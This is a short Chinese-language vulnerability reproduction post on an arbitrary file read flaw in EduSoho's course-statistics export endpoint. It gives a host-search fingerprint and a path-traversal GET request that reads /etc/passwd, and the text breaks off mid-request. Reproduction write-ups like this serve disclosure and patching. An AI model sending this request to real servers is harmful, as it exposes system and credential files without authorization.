【漏洞复现】EduSoho-statistics-文件读取

目录

0x01 产品简介

0x02 漏洞概述

0x03 网络测绘

0x04 漏洞复现

0x05 Nuclei

---

0x01 产品简介

        Edusoho 网络课堂是面向个人、学校、培训机构及企业用户的友好、开源、高性价比的在线教育建站系统。Edusoho 提供在线教学、网校管理、云视频点播、直播、移 APP 等功能，为使教育机构能够以最低成本开展在线教学活动，EduSoho 也提供云服务器，云视频、云直播和移动 APP 定制服务，并配备相应的技术支持服务，让客户搭建自有品牌网校和搭积木一样简单。

0x02 漏洞概述

        Edusoho 网络课堂classropm-course-statistics 接口存在任意文件读取漏洞，攻击者可以通过恶意构造的请求读取服务器上的任意文件，包括敏感的系统文件。

0x03 网络测绘

icon_hash="828423215"

0x04 漏洞复现

GET /export/classropm-course-statistics?fileNames[]=../../../../../../../etc/passwd HT